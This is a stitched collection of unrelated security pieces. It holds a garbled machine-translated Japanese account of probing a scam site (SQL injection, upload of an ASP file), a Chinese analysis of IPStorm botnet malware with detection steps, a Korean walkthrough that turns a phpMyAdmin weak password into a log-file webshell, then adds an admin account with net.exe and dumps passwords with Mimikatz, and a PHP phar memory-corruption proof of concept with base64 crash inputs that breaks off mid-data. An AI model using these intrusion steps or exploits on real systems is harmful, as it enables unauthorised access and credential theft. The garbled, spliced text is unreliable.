記事が書かれるまでドメイン名を解析することはできず、修正は非常に高速でした。幸いなことに、以前にバックアップがあり、ドメイン名は絶えず変更されました。 CDNを使用していることはわからず、すべてのトラフィックがソースステーションにありました。私はそれをチェックしました、そしてそれは香港のサーバーでした:

front-query-ip

次に、関連情報を収集するために:

cmd-whois

予想どおり、それは追加の有用な情報を使用しない3人のパーティー登録機関ですが、登録時間は非常に興味深いものです。今月、詐欺師は非常に速く動いています。次回は、彼らは相手のウェブサイトに行くためにしか見ることができません。

front-west-whois

再び西部のデジタルで、少し人気があるようです。ウェブサイトはプライバシー保護メカニズムを提供し、登録情報は一般に公開されておらず、当面は有用な情報を取得することはできません。

0x002レビューIP

今の手がかりは、以前に解析されたIPです。まず一歩一歩進んで、ポートサービスをスキャンして、より多くの情報を収集します。

cmd-nmap-port-services

はい、大丈夫です。私はいくつかの馴染みのある数字を見て、プロセスに従い続け、デフォルトのスクリプトを下ってポートサービス情報を分析しました。

cmd-nmap-default-script

匿名のFTPを検出することはなく、HTTPはトレースをサポートし、httponlyが設定されておらず、XSSを実行する機会があるため、最初に小さなノートを書き留めます。次に、古いルールは最初にデフォルトの辞書の方向ブラストであり、それでも試してみる必要があります。

cmd-nmap-ftp-brute

残りのすべてのポートを試してみましたが、予想通り、あまり得られませんでした。私はまだ基本的なパスワード強度の認識を持っているようです。さらに、以前のスキャン、ポート8888が表示されました。これは、サーバー管理ツールのパゴダパネルのデフォルトのバックグラウンド入り口であることを忘れないでください。試してみてください:

front-baota-login-pre

エントリ検証がありますが、少なくともそれが実際にパゴダパネルであることを証明しています。ただし、この爆発は不可能です。エントリURLの接尾辞は、デフォルトでは、上限と小文字の文字と数字の約8桁であり、これは8の電力から約20兆のパワーであり、かなりaldげています。後で言いましょう。次に、他の方向に移動し続けます。

0x003レビューページ

それらはすべてここにあります。コードをスキャンすることはページへのジャンプへのリンクであり、ポートも80と443を開いているため、もちろん、KangkangにアクセスするためにWebページを開く必要があります。同時に、開発者ツールを開いて小さなアクションがあるかどうかを確認する必要があります。

front-home-mobile

ああ、それはモデルも認識します。これはユーザーが非常に明確であるため、モバイル端末にカットして見てみましょう。

front-home-index

emmm .それを言う方法、それはとてもいい匂いがする。一見することはできません。私はそれを非常に模倣しています(しかし、私は本当に勇敢で、政府のウェブサイトでそれをやっています)。次に、インターフェイスによって返されたヘッダー情報を見て、Windows IIS 7.5 + ASP.NETサービスが使用されていることがわかりました。

front-home-headers

これを最初に覚えておいてください、後で抜け穴を掘り出すことは役に立ちます。インタビューの後、私はページが空であることがわかりました、そして、加工の入り口のポップアップウィンドウのみがジャンプできることがわかりました。ジャンプページは次のとおりです。

front-apply-btn

説明は非常に完全であるため、誰もが正しい番号を取得できるようにします。今すぐ申請するにはここをクリックしてください:

front-input-name-id

次に、最初に名前とID番号を使用して、個人情報を収集するためのワンストップサービスが開始されました。さらに、その隣に表示されるロードされたPNGヘッダー画像の名前に注意してください。ええと、これは開発者からのクレイジーなヒントですか?ここで情報を入力してチェックすることができます。

front-input-name-error

実際に検証があります。ブレークポイントをクリックして、ソースコードロジックを確認してください。

front-input-name-breakpoint

完全に完了する数字を確認するのは本当に面倒ですが、フロントエンドの検証はすべて紙のトラであるため、ここで民俗救済は必要ありません。ソースコード編集および開発者ツールの関数を上書きするだけで、検証関数に直接trueを返します。

front-input-name-override

次に、確認して次のステップに進みます。

front-input-bank

銀行のカード番号とパスワード、携帯電話番号を収集することです。悲しいかな、意図は非常に明白です。お金を転送して相手のパスワードを転送する必要はありません。また、何気なく記入するためのものです。同じ方法を使用して銀行カードの確認をバイパスしますが、読み込まれたスクリプトファイルの1つで興味深いものが見つかりました。

front-input-bank-js-source

開発者は、ソースコードのデバッグデータを削除することさえありません。 Alibaba Pay Interfaceは、相手のデバッグアカウントを使用するために使用されます(開発者として、生産環境でコードコメントを削除することの重要性=_=):

front-input-bank-amount

次に、次のページを入力して、名前とID番号、および銀行カードの残高を再度収集しました(ここでは、ユーザーの実際の状況やその他の未知の操作の調査です)。予想どおり、私はここに嘘をつく勇気さえありませんでした。 T_T、すぐに記入して、次のステップに進みます。

front-input-bank-amount-value

front-submit-loading

その後、ページはロードされ、継続的に更新され、他のジャンプはありません。詐欺師が動作する時間を提供することです。その後、Webページの関連する操作は、当面の間終了します。いくつかの操作手順を大まかに理解してから、他の方向を探ります。

0x02脆弱性マイニング

0x001 SQL注入

情報コレクションはほぼ完成しているので、1つずつ壊してみましょう。最もよく知られているWebページから始めます。前のページを確認する際には、多くの提出フォームと入力ボックスがあります。これは潜在的なブレークスルーポイントです。どの鉱業技術が優れているか、まず魔法のアーティファクトのげっぷを使用し、銀行カード番号とパスワードの以前の提出のフォームデータを傍受します。

burp-form-field

次に、エラーメッセージを確認するために簡単な注入を試みます。

burp-sql-inject-simple

応答はありません。基本的な検証があり、それを変更する必要があります。

burp-sql-inject-union-select

反応があり、希望を見たように見えました。返品は文字化けしていますが、相手のプログラムがそれを処理する問題であるはずです。しかし、文の構造を見ると、SQLエラーが報告されたようで、それらのいくつかを連続して試してみましたが、同じリターンも返されました。それでは、残りの複雑な作業をツールに任せ、SQLMapを取り出して実行しましょう。

cmd-sqlmap

数ラウンドのパラメーターの後、私は成功しませんでした。フィルタリングメカニズムは比較的思慮深い必要があります。次に、別のページをテストしたとき、エラーメッセージの元の意味を発見しました。

burp-sql-inject-err-res

まあ、私はまだ若すぎます、私は間違っているでしょう。プログラムは、フィールド値のSQLキーワードを特定する必要があります。さらに、以前にスキャンされたサービスには、トレース関連の脆弱性が含まれている可能性があることを思い出します。テスト後、サーバーはまだサポートされていないはずです。

burp-trace-method

それから私はもう一度それについて考えました。パスワードフィールドのデータベーステーブルフィールドを設計するときは、銀行カードのパスワードであり、誰もが6桁の数字であることを知っているため、スペース占領を減らすために低い文字桁の特性を考慮する必要があります。驚きがあるかどうかを確認するための大きな数字があります:

burp-post-mass-data

恥ずかしさは驚きのためです。特別な治療がなく、サーバー側のエラーとして直接報告されるためであるべきです。私は次々といくつかのページを変更しましたが、テスト後に大きな利益はありませんでした。シーンはかつて行き詰まっていたので、私は一時的に戦場に移動することができました。

0x002メタプロイト浸透

がついにMetasploitに来て、準備ができています、

msf-banner

IISの既知の脆弱性を最初に検索します。

msf-search-iis

たくさんあるので、最初にいくつかのマッチング条件を試してみましょう。私はあなたにここで例を挙げているので、私はそれらを1つずつ見せません:

msf-run-ektron

次に、他のいくつかのポートとサービスがあり、1つずつテストされましたが、突破口はありませんでした。パッチはすべて非常に完全だったようです。現在、それは一時的に行き止まりに閉じ込められています。 MSFに使用するモジュールはまだたくさんありますが、まだ行われていない別の重要なことがあると思います。

0x003サイトディレクトリの列挙

サイトディレクトリスキャン、この重要なことはどのように欠けているのでしょうか? Dirbusterなど、多くのツールから選択するツールがあります。ここでは、Burp Suiteのエンゲージメントツールでディスカバリーコンテンツツールを使用して、ディレクトリブラストを実行します。

burp-dirbus-menu

burp-dirbus-config

多数の内蔵辞書では使用するのに十分ですが、ネットワークリクエストが含まれ、プロセスも非常に長いです。ただし、バックグラウンドで実行でき、他のものには影響しません。これがスキャンの結果です:

burp-dirbus-sitemap

いい人と呼んでください!スキャンしなかったかどうかはわかりませんでした。出てきてショックを受けました。私は非常に多くの隠された入り口を逃しました。最初にノートを書き留めて、1つずつ探索しました。ただし、私のビジョンは、upload.aspと呼ばれるファイルにロックされずにはいられませんでした。開発者からそのような明白なヒントを言う必要はありませんでした(ヨ(▔、▔)ㄏ)。

burp-upload-get

直接アクセスするときに返品データはありませんが、メソッドが間違っているためですか?それを変更してフォームファイルデータを投稿し、再試行してください。

cmd-curl-upload-file

この方法でアップロードするのは役に立たないようです。追加の検証パラメーターなどが必要です。これまで見たことのないページをたくさんスキャンしました。今、私は戻ってページのソースコードを1つずつ分析します。

front-upload-source

案の定、ページの1つでは、このアップロードインターフェイスを呼び出すフォームが見つかりました。これは隠された要素です。ページコンテンツと組み合わせることで、ユーザーがアップロードした特定のドキュメント情報、IDカードの写真などを収集するために使用する必要があります。その後、対応するJSソースコードを見て、実際にチェックサムインターフェイスパラメーターがあります。

front-upload-js-fn

ここでこれらの機能を分析して呼び出して、ファイルをアップロードすることは難しすぎます。これは隠された形ではありません。コードを直接変更してUI(¬‿¬)を介して操作するのはとても簡単です。

front-upload-show-form

少しシンプルに見えますが、実行するのに十分かどうかは関係ありません。ファイルをアップロードするだけです:

front-upload-done

その後、もう一度アクセスして効果を確認してください。

front-upload-access

なんて男だ、それはエキサイティングだ!私の口の角は再び少し上昇しますが、最初に落ち着いてから、ファイルタイプの確認があるかどうかを確認してみてください。このサービスはASP.NETなので、ASPプログラムを渡すだけです。次のコードは、ページ上のサービスの名前を実行します。

%respons.write(request.servervariables( 'server_software'))%

次に、アップロードしてチェックしてください。

front-upload-asp-info

これ.他に何が言うことができますか?沈黙は現時点では音よりも優れていますが、これは終わりではありません。これはただの良い出発点であり、すべてが始まったばかりです(¬‿¬)。

0x004予期しない収穫

実際、Webサイトディレクトリには、Jieliuziと呼ばれる別の非常に興味深いディレクトリがあります。私は中国のピンインの命名が好きなオブジェクト開発者の習慣を理解しましたが、この意味は理解されていません。推測と入力の方法さえ理解していません。詳細を調べた後、私も入って見つけました=_=。中国の文化は本当に深いです。何があっても、ページアクセスの結果を見てください:

front-jieliuzi-login

これは非常に簡潔なログインページであり、実際にはPCサイトページです。詐欺師はいくつかの面で非常にロマンチックです。ここで表示されない理由は、全体像がエキサイティングすぎるためです(このログインボックスは本当に白です)、レビューに合格できないのではないかと心配しています。さらに、このページの上部にあるタイトル名に注意を払ってください。最初の反応は、それが単純な文字通りの意味であってはならず、良い言葉のように聞こえないことです。私はこれのために特別にバイドゥに行きました:

front-whaling-meaning-1

2023年11月,IPStorm基礎設施被FBI拆除,同時對與IPStorm惡意軟件有關的相關個人進行了定罪。這是當前打擊網絡威脅工作中的一個重要里程碑。

本文將對IPStorm惡意軟件的變體和功能進行深入介紹。

2019年5月,來自anomaly的研究人員發現了一種新的針對Windows的Golang惡意軟件,他們將其命名為IPStorm。 IPStorm是一種殭屍網絡,它濫用名為星際文件系統(IPFS)的合法點對點(p2p)網絡作為掩蓋惡意流量的手段。據發現,該惡意軟件允許攻擊者在受害者的Windows計算機上執行任意PowerShell命令。

研究人員最近確定了針對各種Linux架構(ARM, AMD64, Intel 80386)和平台(服務器,Android, IoT)的IPStorm新Linux變體並檢測到一個macOS變體。在本文發佈時,macOS變體和大多數Linux樣本在VirusTotal中完全未被檢測到。 IPStorm是用Golang編寫的,這使得Intezer能夠檢測到Linux樣本和由anomaly首先報告的Windows惡意軟件之間的跨平台代碼連接。

linux變體比Windows變體有更多的功能,比如使用SSH暴力破解來傳播給更多的受害者,以及濫用Steam遊戲和廣告平台的欺詐性網絡活動。 linux變體調整了一些功能,以解釋該操作系統和Windows之間存在的根本差異。

接下來將介紹IPStorm Windows和Linux樣本之間的代碼關係圖,分析其中一個Linux變體的行為,並將其功能和功能與舊的Windows樣本進行比較,以跟踪其演變。

IPStorm技術分析大多數IPStorm Linux樣本在我們將它們提交給Intezer進行分析之前是完全未被檢測到的。

在這篇文章中,我們將重點關注658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117 Linux樣本。

1.png

658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117在VirusTotal中未檢測到樣本

由於IPStorm是用Golang編寫的,我們不僅可以觀察到不同Linux變體之間的強代碼連接,還可以識別到2019年上傳至Intezer的IPStorm Windows樣本的連接。

2.png

由Intezer分析分類的IPStorm惡意軟件家族樣本

下圖強調了不同版本和操作系統之間的代碼相似性。節點表示單個樣本,線條表示它們之間的代碼關係,所有的樣本都以某種方式相互聯繫。

3.png

不同樣本間的IPStorm代碼相似性圖。節點表示單個樣本,線條表示它們之間的代碼關係

該圖描繪了三個主要的集群,每個集群都包含具有強代碼連接的樣本:

PE, intel 80386架構;

ELF, intel 80386架構;

ELF和x86-64架構;

你還會注意到ELF集群和ELF和PE intel 80386架構集群之間存在共享代碼。

你可以使用這個GitHub存儲庫中的cluster_directory.py API腳本來創建你自己的集群圖。

IPStorm Linux變體活動流程去除Linux的變體符號,使用插件IDAGolangHelper,我們檢索了文件的符號,並準確地看到了惡意軟件包含哪些包。在Go語言中,包是一群組成特定功能的Go源文件,每個Go源文件都屬於一個包。

Linux惡意軟件的主要邏輯是在一個名為storm_starter的包中實現的,這是一個Windows變體中沒有的新包。所有的邏輯都是通過Windows變體的main函數實現的。

這兩個版本在實現主要流程的方式上有相似之處,但是,由於兩個操作系統之間存在差異,Linux實例具有額外的功能並調整了一些邏輯。

Linux迭代首先禁用內存不足(OOM)殺手程序,以防止它終止惡意軟件,隨後繼續檢查以防止病毒或其他惡意軟件進一步執行與安全工具有相關的任何進程。接下來,惡意軟件生成公鑰將其保存在一個名為strom.key的文件中。這個密鑰保存的位置是基於惡意軟件被執行時的權限。如果惡意軟件以root權限執行,密鑰將存儲在/etc/storm.key;否則,將保存在/tmp/storm.key下。然後,惡意軟件試圖與點對點網絡中的其他節點建立連接。

惡意軟件向不同的服務發送HTTP請求,如diagnostic[.]opendns[.]com/myip, ifconfig[.]io/ip和myip[.]dnsomatic[.]]com接收受害服務器的外部IP地址。如果惡意軟件以root身份運行,它將在systemd下創建一個服務來實現持久化,並將自己複製到/usr/bin/storm,否則將被拷貝到/tmp/storm目錄下;然後,惡意軟件將從新的安裝路徑重新啟動。

這個新進程負責執行IPStorm惡意軟件的主要功能,包括之前在Windows變體中看到的逆向shell,維護與P2P網絡中其他對等節點的連接,以及將惡意軟件傳播給其他受害者的新功能。

4.png

IPStorm Linux輸出非特權用戶

Linux與Windows比較比較IPStorm linux變體0.2.05a和Windows變體0.0.2m可以發現,開發者添加了一些功能,並修改了現有的功能來攻擊Linux平台。

包比較該惡意軟件由不同的Golang包組成,每個包提供不同的功能。下表對兩個版本之間的包比較進行了分類:

5.1.png

5.2.png

5.3.png

注:我們將linux變體0.2.05a與Windows變體0.0.2m進行了比較,將後者在anomaly的報告中進行了分析。然而,惡意軟件經常被更新,我們已經觀察到多個不同的版本,它們之間的功能也可能不同。

功能比較掃描工具:Android和SSH暴力破解Linux變體試圖通過SSH暴力破解在互聯網上傳播和感染其他受害者。一旦建立連接,惡意軟件將通過比較受攻擊服務器的主機名和字符串“svr04”(這是corie SSH蜜罐的默認主機名)來檢查受害服務器是否是蜜罐。如果惡意軟件識別到蜜罐,它將關閉連接,否則它將繼續下載有效載荷並感染服務器。

6.png

驗證服務器是否為蜜罐

linux變體特有的另一種傳播方法是搜索潛在的Android受害者,惡意軟件檢查連接ADB (Android Debug Bridge)到受害節點的設備。一旦識別出來,它就會將之前從P2P網絡下載的Android版本的IPStorm上傳到設備上。

7.png

來自storm服務日誌的屏幕截圖,顯示下載的文件

繞過殺毒軟件IPStorm Windows和linux變體都實現了與檢測逃避相關的功能,每個版本使用不同的技術。在linux變體中,負責此邏輯的包稱為storm_malware_guard。該文件遍歷所有當前運行的進程,以便找到並終止可能檢測到惡意軟件活動的進程。

storm_malware_guard包中實現此技術的函數稱為KillSuspiciousProcesses。這個包中的其他函數負責獲取有關CPU和內存使用情況、I/O端口數量以及返回有關進程和線程信息的函數的信息。

在Windows變體中,逃避邏輯是在一個名為avbypass的包中實現的。該技術基於隨機睡眠時間和多個函數調用,此方法的目的是使反病毒解決方案更難跟踪原始進程。

似乎由於不同的操作系統,每個版本的IPStorm都有自己的逃避檢測的方法。

逆向shell兩個版本的IPStorm都使用backshell這個名稱來指代逆向shell的功能,Linux變體的backshell功能與Windows變體相同。

Windows變體有一個名為powershell的包,其中包含實現逆向shell的函數。 linux變體中也有相同的包,但它只包含一個函數:storm_powershell__ptr_Backend_StartProcess。該函數用於獲取受感染系統的逆向shell。

逆向shell的實現是兩個IPStorm變體之間代碼重用連接的一個清晰樣本。下面的截屏顯示了兩個版本中文件名的變化和相同的函數名:

Linux:

8.png

windows:

9.png

持久性linux變體只有在以root權限執行時才會嘗試獲得持久性,另一方面,Windows變體總是希望獲得持久性。惡意軟件的每個變體,Linux和Windows,都使用不同的技術來獲得持久性,因為它們針對的操作系統根本不同。

Windows變體通過將自身複製到隨機位置並將程序添加到HKCU:SoftwareMicrosoftWindowsCurrentVersionRun註冊項來實現持久性。

linux變體通過在/etc/systemd/system/storm.service下創建systemd服務來實現持久化。

10.png

/etc/systemd/system/storm.service

11.png

在Linux變體中實現持久性的函數

另一個區別是文件被複製到的位置。 Windows變體使用隨機文件路徑,linux變體使用固定路徑。

網絡流量除了創建逆向shell之外,我們還發現IPStorm的Linux變體利用其廣泛傳播的優勢在backshell執行不同的欺詐活動,濫用遊戲和廣告盈利。由於它是殭屍網絡,惡意軟件利用來自不同可信來源的大量請求,因此不會被阻止或追踪。

在Windows變體中沒有觀察到這種活動。

Steam遊戲欺詐Steam是Valve公司推出的一款受歡迎的遊戲服務,在全球擁有數億用戶,它還為想要在自己的網站上使用Steam數據的開發者提供了一個API。

作為遊戲開發者盈利過程的一部分,Steam用戶可以購買和出售不同的道具,如裝備、皮膚和其他遊戲內元素。這個平台非常受歡迎,已經成為網絡罪犯的熱門目標。

攻擊者使用的一種已知方法是創建網絡釣魚網站,引誘用戶提交他們的Steam登錄憑證,通過訪問用戶的憑據,攻擊者可以完全訪問該帳戶,包括API密鑰。

IPStorm生成了大量的流量到Steam的API,查詢各種Steam用戶的數據,並使用多個有效的API密鑰。

12.png

目前懷疑這些被盜賬戶是被監控的虛假交易騙局的一部分。

廣告欺詐該惡意軟件生成模仿虛假廣告點擊的請求。我們追踪到的所有廣告都與色情網站有關,惡意軟件在不同的預定義網站上爬行,搜索廣告iframe,並通過瀏覽iframe來模仿用戶的“點擊”。

13.png

惡意軟件向廣告平台生成請求的樣本

14.png

惡意軟件爬過的網站

IPStorm檢測受攻擊系統檢測可以通過以下步驟檢查系統是否被IPStorm惡意軟件攻擊。

1.執行pstree | grep storm,檢查系統是否啟動IPStorm進程。

15.png

IPStorm通常使用多線程運行。

2.執行sudo systemctl status strom.service命令,檢查系統上運行的服務,因為如果惡意軟件以root權限執行,它將創建一個用於持久化的服務。

16.png

3.檢查系統中是否存在IPStorm的文件。

執行sudo find/-name “storm*” -type f命令

3.1在非root執行的情況下,輸出將類似於下面的屏幕截圖:

17.png

3.2如果惡意軟件以root權限執行,輸出將類似於下面的屏幕截圖:

18.png

4.檢查系統上開放的端口以及與之關聯的進程。執行sudo ss -tulpn命令,在下面的屏幕截圖中,屬於IPStorm惡意軟件的許多進程監聽特定端口。

19.png

5.免費使用Intezer Protect社區測試版來識別系統上正在運行的進程。下面的屏幕截圖來自服務器上執行的IPStorm警報,系統提供的信息包括惡意軟件家族名稱,可執行文件的完整路徑,進程ID,執行時間,以及到Intezer的鏈接,你可以在此惡意軟件中觀察到普遍的代碼重用。

20.png

系統受攻擊後如何終止IPStorm1.如果惡意軟件作為服務運行,則應執行sudo systemctl stop storm.service命令停止該服務:

2.刪除所有與IPStorm惡意軟件相關的文件。

3.執行sudo pkill -9 storm命令終止該進程

IPStorm響應我們提供了一個YARA規則,旨在針對內存中的工件運行,以便能夠檢測這些植入程序。

系統安全加固1.確保SSH連接是安全的。使用密鑰代替密碼或使用多因素身份驗證,瀏覽此處獲取有關SSH加固的更多提示。

2.確保系統更新到最新的軟件,並與最新的安全最佳實踐保持一致。

3.使用運行時雲工作負載保護解決方案,如Intezer Protect。 Protect提供了對系統中代碼的完整運行時可見性,並對偏離安全基線的任何可疑或未經授權的代碼發出警報。

總結IPStorm背後的攻擊者非常活躍,頻繁發布具有新功能和改進的更新版本,以及擴展到幾個不同的平台和架構,現在帶有Linux惡意軟件的IPStorm是在Golang開發的跨平台惡意軟件的最新樣本。被IPStorm攻擊的平台不僅暴露於其服務的後門,而且還被添加到IPStorm殭屍網絡中,試圖傳播給其他受害者。在過去的六個月裡,人們發現了越來越多的Golang ELF惡意軟件攻擊服務器,IPStorm是其中的一部分,其他惡意軟件還有Kaiji、Kinsing和FritzFrog。

phpmyadmin의 약한 암호를 얻으십시오

복권 사이트의 IP는 정보를 통해 XXX이며, 탐지 스캔은 phpmyadmin이 존재 함을 보여줍니다. 추측을 통해 기본 약한 암호 (루트/루트)를 사용하여 phpmyadmin에 로그인하십시오.

图片

图片

phpmyadmin 배경 SQL 쿼리를 통해 로그 파일에 쉘 쓰기

phpmyadmin의 SQL 쿼리 함수를 사용하여 로그 파일에 문장 트로이 목마를 씁니다.

프로세스와 명령은 다음과 같습니다

1. 로그 함수 켜기 : Global general_log=on을 설정하십시오.

2. phpmyadmin 변수를 클릭하여 로그 파일 이름 :을보십시오.

图片

여기의 로그 파일은 test.php입니다.

3. SQL 명령을 실행하고 로그 파일에 문장을 작성하십시오.

图片

4. 성공적인 실행 후 반환.

图片

5. 로그 파일을 봅니다.

图片

6. 주방 나이프를 연결하여 사용자를 추가하고 Mimikatz를 업로드하십시오.

주방 나이프를 사용하여 로그 파일에 연결하여 Trojan, xxx/test.php password :test

图片

시스템 관리자 시스템 권한이 있는지 확인하고 찾으십시오. 사용자를 추가하여 관리 그룹에 추가하십시오.

명령은 : C: \ Windows \ System32 \ net.exe 사용자 테스트 테스트!@#123 /Add입니다

C: \ Windows \ System32 \ net.exe 로컬 그룹 관리자 테스트 /추가

Mimikataz를 서버에 업로드하십시오.

图片

7. 3389 연결 및 관리자 비밀번호를 읽으십시오.

(1) Direct Telnet IP 3389 테스트에 따르면 액세스 할 수있는 것이 발견되었으므로 직접 3389를 연결하여 입력했습니다.

图片

(2) 또는 다음 명령은 여기에 주방 나이프에서 실행되어 포트를 3389까지 쿼리합니다.

1 단계 : 작업 목록 /SVC | Findstr Eartservice 쿼리 원격 데스크탑 서비스 프로세스

2 단계 : NETSTAT -ANO | Findstr **** //원격 데스크탑 서비스 프로세스 번호에 해당하는 포트 번호를 확인하십시오.

(3) Mimikatz를 실행하고 관리자 그룹 로그인 암호를 읽으십시오.

图片

(4) 얻은 관리자/xxxx 계정 암호를 사용하여 서버에 원격으로 로그인하십시오.

图片

서버는 Phpmystudy를 사용하여 배치로 복권 스테이션을 건설하는 것으로 밝혀졌습니다. 약 12 개의 사이트가 있었고, 여러 서버의 웹 사이트 도메인 이름에 액세스 할 수있었습니다. 일부 스크린 샷은 다음과 같습니다

시스템 1 :

图片

시스템 2 :

图片

시스템 :

图片

무대 1 :

图片

무대 뒤 2 :

图片

원래 링크에서 재 인쇄 : https://mp.weixin.qq.com/s?__biz=MZG2NDYWMDA1NA==MID=MID=2247487003IDX=1SN=5C85B34CE6FFB400FDF858737E34DF3DCHK SM=CE67A482F9102D9405E838F34479DC8D1C6B793D3B6D4F40D9B3CEC9CC87F1455D865CB3DDCSCENE=21#WECHAT_REDIGRECT

https://blog.csdn.net/weixin_3997829/article/details/109186917

# Exploit Title: Invalid memory write in phar on filename with \0 in name
# Date: 2016-03-19
# Exploit Author: @vah_13
# Vendor Homepage: https://secure.php.net/
# Software Link: https://github.com/php/php-src
# Version: 5.5.33
# Tested on: Linux



Test script:
---------------
cat test.php
-------------------
<?php
$testfile = file_get_contents($argv[1]);
try {
    $phar = new Phar($testfile);
    $phar['index.php'] = '<?php echo "https://twitter.com/vah_13 ?>';
    $phar['index.phps'] = '<?php echo "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; ?>';
    $phar->setStub('<?php
Phar::webPhar();
__HALT_COMPILER(); ?>');
} catch (Exception $e) {
        print $e;
}?>
----------------------------------------------------------------------------------

PoC 1

root@TZDG001:/tmp/data2# base64 ret/crash13
CkTJu4AoZHKCxhC7KlDNp2g5Grx7JE092+gDAADJVR1EZS8vL/oAAPovLy8v5y8vLy9lZWVlZWVl
DAwMC+MMDAwMDM4MDAwgBwwMDAwMDAxQDC8uLi8jLy88Ly8u+C8vLxERERERERERpXRDbnQgdGhh
dCBtVnJrV3h4eHh4eNt4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4ePh4Ly8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLkYvLy8vLy8vLy8vLy9kJy8vLy8vLy8vLy8v8+TzMZovLysvLy8vL3l5eXl5
eXl5eXkpIHsEAAYgICAveHh4eHh4eHh4eAF4AAJ4eP8vIExvYWQgY29tbWFuZChTgG5lIHV0aWxp
dHkKICAgIGluY2yKZGUuLi4uLi4uLi4uPCYuLi4ucG1kLnBoYXIudmVKCiAgJCAvLyBSdegDIGxp
bmUgTW50ZXJmYWxlCiAgIBxleGkAAP//SFBNRFxUZXh0VUl5Q29tbWFuZAAANwAAAHNyY1Rf/39N
UElMRVIodjsgPz4MChAAAAANAgAAEP//+QEAAAAAAAAiAAAqAAAAlnJjL21haW4vlA8uLlEvci8u
LhAA2GVzZXRzL2NsZWFucipeTUxSZW5kZXLJYEC2IQAAAABjb3JlrgAAAAAAI2OcwrYAAAAAAA0A
NwAAAHMASRwAc2V0cy91bndzcmMAnjgjW7gwgAAAcmMAAgAAADN1bGVzZXRzL2MgAAAAb///f/9p
YWwueG1s4BIAAB+u4VZzcmMvbWFpbi9yZXNvdXJpZ24ueABzcmMvbQA9dr2itiEASRyXl5eXl5eX
l5etl5eXlwAMc3JjL21hW24v6Bvzb3VyY2VzL3J1//+AAHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0
dHR0dHR0WWV0cy9uYRwcMBwcHBwcHBwcAB+u4TSoCwD1A3lvdXJjZXMvdmVsb2Qxmi9LZ01yAB+u
4RgAACCu4VbjDy5nLnhtbP8vAC4uLjwmLnh4eHh4eHh4eHh4+HgZLy8vLi4ucG1kLnBoL3Jlc291
cmNjZXNzcgCAAAAuGnVzc3IvLg0AAHFF7BMAc3JjL/9haW4vcGhwL1BIUE1EL1BhcnMnJycnJycn
JycnJycnJyfnAAAKQ5bxci5waHBtGAAAH67hGAAAH67hVuMPLi5RLy8vLy8vc3JW4QcAANevurC2
IQAAAAcAACwvdXNyLy4uL1KHAK78Vm4vcGhwL1BIUE1EL1JlbmRlcmVyKl5NTFJlbmRlcslgQLYh
AAAAAAAAGwABAHNyYy9tYWluL3BoNy9QSFBNRC9SdVRlLnCAcDIYAAAfruEAAHNyYy9tYWluL3AA
iy0AAABzcmMAAFeu4VYwCAAAPXa9oi8vLy8vLy8vLy8vLy8vLy8vL28v8+TzOoAAAGhwL1D/CzpE
ZXZlbG9kMZovbmdNZXRob2QQcGiKlgwAIAAAAFb8BQAAI2OcwrYhAAAAACAANwAAAGNyYy9tYc7O
zs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs4AEa7hVnNyYy+A////L9YhzLYhAADg////MXBo
cC9QSFBNRC9PdW1hf24vcGhwL1BIUGFEUFBQUFBQUFByYy9tYWluL3BocC9QSFBNRC9SdWxML0Rl
c2lnZy9Ub29PYW55TWV0aG9kfy4fruFWYy9tYWluL3BocC9QSFBNRC9SdWxlL0Rlc2lnbi8vRGV2
ZWxvZFxlbnRDbwMAAGMvbQA9dr2itiEASRwAcG1kLnARruFWjwUF//8FcIWYAAIAAAAvLi4v////
/3JILi4vLi91c3IvLi4AADYAAABecmMvUEhQTUQvUnVsZS9EZXNpZ1svV2VpAGhwAAAAc3JjLy8v
LwAAAQDk8zGaLy//L1J1bGUvRJCQkJBAkJCQkJDQkJBzkJCQkJCQkJCQkJCQkJCQkG50cm9w6HAu
LgAAAQAuLi4uLi4uLi4uL1BIUE1EL091bWFpdi9waHAvUEhQTURlcgAEQ2hpbGRyZW4ucGhwbQsA
AB+u4VZ+BQAAgLP4+7Yh3////wAOAAAfruxWbQYAADplbi4vdf//Ly4u5i4vdQBkHwAD6AAD6AAN
ADcuLhAA2DUAAAAyAAAAc3JkLy8uLi8uL1Jzci4vdXNycGguUS8vLy9/AAAAL3Vzci+uQi8uL3Vz
ci8vLi98c3IvLhciLi91c3IvLi4vdXOALy4uL/////9ldHMvYyAAAABv//9//2lhbC54tbW1tbW1
tbW1tbW1vABjL+ZJTnUgZC4vc5QPAAAEAHIvLi4vdXNyLy4uLy4vdXNyLy4AZC4vAQAAAC4uL3UQ
AC8uLi8uL3Vzby4vdXNyDy4uUS8vLy8vL3NyLy4vc3IvLi4odXNyAAIAAC4vdXNzci8uLi91e3Iv
rkIvLmRvci9hdRAA2DVXu7YhABcuL3Vzci8uAS8u


(gdb) r  test.php ret/crash13
Starting program: /tmp/php-7.0.4/sapi/cli/php test.php ret/crash13
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
zend_string_init (persistent=0, len=2, str=0x121a64c "->") at
/tmp/php-7.0.4/Zend/zend_string.h:157
157    zend_string *ret = zend_string_alloc(len, persistent);
(gdb) i r
rax            0xae6572  11429234
rbx            0x7fffffffa880  140737488332928
rcx            0x64c  1612
rdx            0x2  2
rsi            0x3  3
rdi            0xae658a  11429258
rbp            0x2  0x2
rsp            0x7fffffffa7e0  0x7fffffffa7e0
r8             0xfffffffffffffffb  -5
r9             0x1  1
r10            0x3  3
r11            0x1214fc0  18960320
r12            0x1206b7a  18901882
r13            0x4  4
r14            0x121a64c  18982476
r15            0x7fffffffa880  140737488332928
rip            0xd531b4  0xd531b4 <add_assoc_string_ex+116>
eflags         0x10206  [ PF IF RF ]
cs             0x33  51
ss             0x2b  43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0

*****************************************************************

PoC 2

root@dns:~/php-src# base64 ./bck_out/6648
Ly4vdXNyLy4uLy4vdXNy4uLi4uLi4uLi4uLi4uLi4uLi4uLit7e3t7dhI1VmbH8AIGdsb1Rh/39i
